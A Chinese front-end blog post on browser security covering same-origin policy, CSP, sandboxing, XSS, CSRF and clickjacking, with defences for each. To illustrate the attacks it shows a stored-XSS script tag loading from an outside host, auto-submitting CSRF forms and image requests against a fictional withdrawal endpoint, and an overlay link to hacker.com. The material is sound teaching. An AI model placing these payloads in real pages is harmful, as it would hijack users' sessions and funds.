Bulandent / blog

高级前端进阶博客,记录个人前端成长之路。包括但不限制于:es6、node、vue、小程序、浏览器、网络、设计模式、算法和数据结构、web安全、性能优化、工程化等。
80 stars 8 forks source link

浏览器专题之安全篇 #16

Open Bulandent opened 3 years ago

Bulandent commented 3 years ago

同源策略(Same Origin Policy)

如果两个 URL 的协议、域名和端口都相同,我们就称这两个 URL 同源。

比如,这个 http://store.company.com/dir/page.html 和下面这些 URL 相比源的结果如下:

http://store.company.com/dir2/other.html         // 同源,只有路径不同
http://store.company.com/dir/inner/another.html  // 同源,只有路径不同
https://store.company.com/secure.html            // 失败,协议不同
http://news.company.com/dir/other.html           // 失败,域名不同
http://store.company.com:81/dir/etc.html         // 失败,端口不同 ( http:// 默认端口是80)

同源策略的限制

由于浏览器同源策略的限制使得 Web 项目难以开发和使用,所以为了既保证安全性又能够灵活开发 Web 应用,从而出现了一些新技术

内容安全策略(CSP)

内容安全策略(Content Security Policy)简称 CSP,通过它可以明确的告诉客户端浏览器当前页面的哪些外部资源可以被加载执行,而哪些又是不可以的。

2 种方式启用 CSP

Content-Security-Policy: script-src 'self' https://apis.google.com
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://apis.google.com">

CSP 的限制

CSP 提供了丰富的限制,除了能限制脚本的加载和执行,对其他资源也有限制,比如:

以上只是列举了一些常见的外部资源的限制,想要查看更多资源限制可以看这里

默认情况下,这些指令的适用范围很广。如果您不为某条指令(例如,font-src)设置具体的策略,则默认情况下,该指令在运行时假定您指定 * 作为有效来源(例如,您可以从任意位置加载字体,没有任何限制。

另外你可以通过 default-src 设置资源限制的默认行为,但它只适用于 -src 结尾的所有指令,比如设置了如下的 CSP 规则,则只允许从 https://cdn.example.net 加载脚本、字体、图片、样式等资源:

Content-Security-Policy: default-src https://cdn.example.net

CSP 配置事项

如果要配置多个同一类型的资源限制,需要将它们进行合并:

Content-Security-Policy: script-src https://host1.com https://host2.com

不同的资源类型之间需要用分号分隔:

Content-Security-Policy: script-src https://host1.com; img-src https://host2.com

可以通过以下值来灵活配置来源列表:

还可以给来源列表指定关键字,包含如下 4 个关键字,使用关键字需要加上单引号:

CSP 应用举例

让我们假设一下,您在运行一个银行网站,并希望确保只能加载您自己写入的资源。 在此情形下,首先设置一个阻止所有内容的默认政策 (default-src 'none'),然后在此基础上逐步构建。

假设此银行网站在 https://cdn.mybank.net 上加载所有来自 CDN 的图像、样式和脚本,并通过 XHR 连接到 https://api.mybank.com/ 以抽取各种数据。可使用帧,但仅用于网站的本地页面(无第三方来源)。 网站上没有 Flash,也没有字体和 Extra。 我们能够发送的最严格的 CSP 标头为:

Content-Security-Policy: default-src 'none'; script-src https://cdn.mybank.net; style-src https://cdn.mybank.net; img-src https://cdn.mybank.net; connect-src https://api.mybank.com; child-src 'self'

安全沙箱(Sandbox)

我们知道早期的浏览器是单进程架构的,这样当某个标签页挂了之后,将影响到整个浏览器。所以出现了多进程架构,它通过给每个标签页分配一个渲染进程解决了这个问题。

而渲染进程的工作是进行 HTMLCSS 的解析,JavaScript 的执行等,而这部分内容是直接暴露给用户的,所以也是最容易被黑客利用攻击的地方,如果黑客攻击了这里就有可能获取到渲染进程的权限,进而威胁到操作系统。所以需要一道墙用来把不可信任的代码运行在一定的环境中,限制不可信代码访问隔离区之外的资源,而这道墙就是浏览器的安全沙箱。

多进程的浏览器架构将主要分为两块:浏览器内核和渲染内核。而安全沙箱能限制了渲染进程对操作系统资源的访问和修改,同时渲染进程内部也没有读写操作系统的能力,而这些都是在浏览器内核中一一实现了,包括持久存储、网络访问和用户交互等一系列直接与操作系统交互的功能。浏览器内核和渲染内核各自职责分明,当他们需要进行数据传输的时候会通过 IPC 进行。

浏览器内核和渲染进程各自职责

安全沙箱的存在是为了保护客户端操作系统免受黑客攻击,但是阻止不了 XSS 和 CSRF。

跨站脚本攻击(XSS)

跨站脚本攻击(Cross Site Scripting)本来缩写是 CSS,但是为了和层叠样式表(Cascading Style Sheet)的简写区分开来,所以在安全领域被称为 XSS。它是指黑客往 HTML 文件中或者 DOM 中注入恶意脚本,从而在用户浏览页面时利用注入的恶意脚本对用户实施攻击的一种手段。

可以通过 3 种方式注入恶意脚本

存储型 XSS 攻击

<script src="http://tod.cn/ReFgeasE"></script>

反射型 XSS 攻击

恶意 JavaScript 脚本属于用户发送给网站请求中的一部分,随后网站又把恶意 JavaScript 脚本返回给用户。当恶意 JavaScript 脚本在用户页面中被执行时,黑客就可以利用该脚本做一些恶意操作。

基于 DOM 的 XSS 攻击

通常是由于是前端代码不够严谨,把不可信的内容插入到了页面。在使用 .innerHTML.outerHTML.appendChilddocument.write()API 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,尽量使用 .innerText.textContent.setAttribute() 等代替。比如对于如下代码:当输入 " onclick=alert('xss') 且点击生成的链接的时候,就会提示 xss

<div id="link"></div>
<input type="text" id="text" value="" />
<input type="button" value="按钮" id="button" onclick="test()" />
<script>
function test() {
    let text = document.getElementById('text').value
    document.getElementById('link').innerHTML = `<a href="${text}">链接</a>`
}
</script>

阻止 XSS 攻击的措施

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

跨站请求伪造(CSRF)

跨站请求伪造(Cross-site request forgery)简称是 CSRF:是指黑客引诱用户打开黑客的网站,在黑客的网站中,利用用户的登录状态发起的跨站请求。

CSRF 是怎么攻击的

一个典型的 CSRF 攻击过程应该是这样子的:

下面将举一个例子来模拟几种伪造请求的方式。假设:

https://platforma.com/withdraw?account=账户名&money=转账金额`

这是某个资金平台 A 的转账接口,黑客知道这个接口后就可以通过以下方式进行攻击:

1. 自动发起 GET 请求

黑客在他自己网站的页面上加载了一张图片,而链接地址是指向那个转账接口。所以需要做的就是,只要某个用户在资金平台 A 上刚登录过,且此时被诱导点击了黑客的页面,一进入这个页面就会自动发起 GET 请求去加载图片,实而是去请求去执行转账接口。

<img src="https://platforma.com/withdraw?account=hacker名&money=1000">

2. 自动发起 POST 请求

这类其实就是表单的自动提交。以下是黑客网站上的代码,一旦跳转到黑客指定的页面就会自动提交表单:

<form action="https://platforma.com/withdraw" method=POST>    
    <input type="hidden" name="account" value="hacker" />    
    <input type="hidden" name="money" value="1000" />  
</form>  
<script> document.forms[0].submit()</script>

3. 点击链接来触发请求

这种伪造请求的方式和第一种很像,不过是将请求的接口放到了 <a> 链接上:

<img src="美女图片的链接" />
<a href="https://platforma.com/withdraw?account=hacker名&money=1000">
    点击查看更多美女图片
<a/>

如何预防 CSRF 攻击

1. 给 Cookie 设置合适的 SameSite

当从 A 网站登录后,会从响应头中返回服务器设置的 Cookie 信息,而如果 Cookie 携带了 SameSite=strict 则表示完全禁用第三方站点请求头携带 Cookie,比如当从 B 网站请求 A 网站接口的时候,浏览器的请求头将不会携带该 CookieSameSite 还有另外 2 个属性值:

以下是一个响应头的 Set-Cookie 示例:

Set-Cookie: flavor=choco; SameSite=strict

2. 同源检测

在服务端,通过请求头中携带的 Origin 或者 Referer 属性值进行判断请求是否来源同一站点,同时服务器应该优先检测 Origin。为了安全考虑,相比于 RefererOrigin 只包含了域名而不带路径。

3. CSRF Token

大概过程是可以分成 2 步骤:

<form action="https://platforma.com/withdraw" method="POST">
    <input type="hidden" name="csrf-token" value="nc98P987b">
    <input type="text" name="account">
    <input type="text" name="money">    
    <input type="submit">
</form>

点击劫持(ClickJacking)

点击劫持(Clickjacking)是一种通过视觉欺骗的手段来达到攻击目的手段。往往是攻击者将目标网站通过 iframe 嵌入到自己的网页中,通过 opacity 等手段设置 iframe 为透明的,使得肉眼不可见,这样一来当用户在攻击者的网站中操作的时候,比如点击某个按钮(这个按钮的顶层其实是 iframe),从而实现目标网站被点击劫持。

防护手段即不希望自己网站的页面被嵌入到别人的网站中。

frame busting

如果 A 页面通过 iframe 被嵌入到 B 页面,那么在 A 页面内部window 对象将指向 iframe,而 top 将指向最顶层的网页这里是 B。所以可以依据这个原理来判断自己的页面是被 iframe 引入而嵌入到别人页面,如果是的话,则通过如下的判断会使得 B 页面将直接替换 A 的内容而显示,从而让用户发觉自己被骗。

if (top.location != window.location) {
    top.location = window.location
}

X-Frame-Options

通过给页面响应头里设置 X-Frame-Options 为某个属性值,就能达到控制该页面是否可以通过 iframe 的方式被嵌入到别人的网站中。 它有 3 个属性值:

点击劫持中的本质就是通过视觉来欺骗用户,顺着这个思路,还有一个攻击方法也和这个类似,那就是图片覆盖攻击大概的原理就是通过样式把图片覆盖在攻击者所希望的任意位置,比如盖在一个网站的 logo 上,当用户点击图片的时候就会被链接到攻击者的站点。

<a src="https://hacker.com">
    <img src="图片链接" style="position: absolute; left: 100; top: 100; z-index: 100;"/>
</a>

对于这种攻击方式,预防的手段就是需要用户在提交的 HTML 中检查,<img> 标签是否有可能导致浮出。

参考文章